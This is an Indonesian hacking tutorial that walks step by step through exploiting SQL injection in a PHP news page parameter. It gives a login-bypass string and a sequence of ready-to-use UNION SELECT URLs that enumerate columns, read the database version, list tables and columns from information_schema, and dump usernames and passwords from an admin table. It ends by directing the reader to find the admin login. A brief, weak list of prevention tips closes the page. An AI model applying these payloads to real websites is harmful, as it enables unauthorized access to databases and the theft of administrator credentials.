Hacking Website dengan SQL-injection

SQLinjection
Sebelum memulai, ada sedikit penjelasan mengenai apa itu SQL Injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Sebab terjadinya SQL Injection
1)      Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus — yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2)      Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Bug SQL Injection berbahaya ?
1)      Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
2)      Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
3)      Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.
 Apa saja yang diperlukan untuk melakukan SQL Injection ?

1)      Internet Exploler / Browser
2)      PC yang terhubung internet
3)      Program atau software seperti softice

Contoh sintak SQL dalam PHP
1)      $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2)      isikan password dengan string ’ or ’’ = ’
3)      hasilnya maka SQL akan seperti ini = “select   * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4)      maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau –
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
Step Satu
carilah target
misal:
Code:
[site]/berita.php?id=100
Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
Code:
[site]/berita.php?id=100′ atau
[site]/berita.php?id=-100
sehingga muncul pesan error seperti berikut (masih bnyak lagi):
Step Dua
mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by
contoh:
Code:
[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)…
misal:
Code:
[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–
sehingga muncul error atau hilang pesan error…
misal:
Code:
[site]/berita.php?id=-100+order+by+9–
berarti yang kita ambil adalah sampai angka 8
menjadi
Code:
[site]/berita.php?id=-100+order+by+8–
Step Tiga
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka:
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8–
atau
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
Step Empat
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()–
Step Lima
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa– >>> dimasukan setelah angka terakhir
Code:
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa–
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :http://codex.phl.web.id/converter.php
link bantuan http://phl.web.id/showthread.php?t=441
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E–
Step Enam
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–
contoh kata yang keluar adalah id,username,password
Code:
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–

Step Tujuh
tahap terakhir mencari halaman admin atau login .
Silahkan DI dah dipelajari Kaka .
By : gonzhack

Sedangkan Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula 
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user 
di SQL Server Security tab.
Sumber : 

You may also like...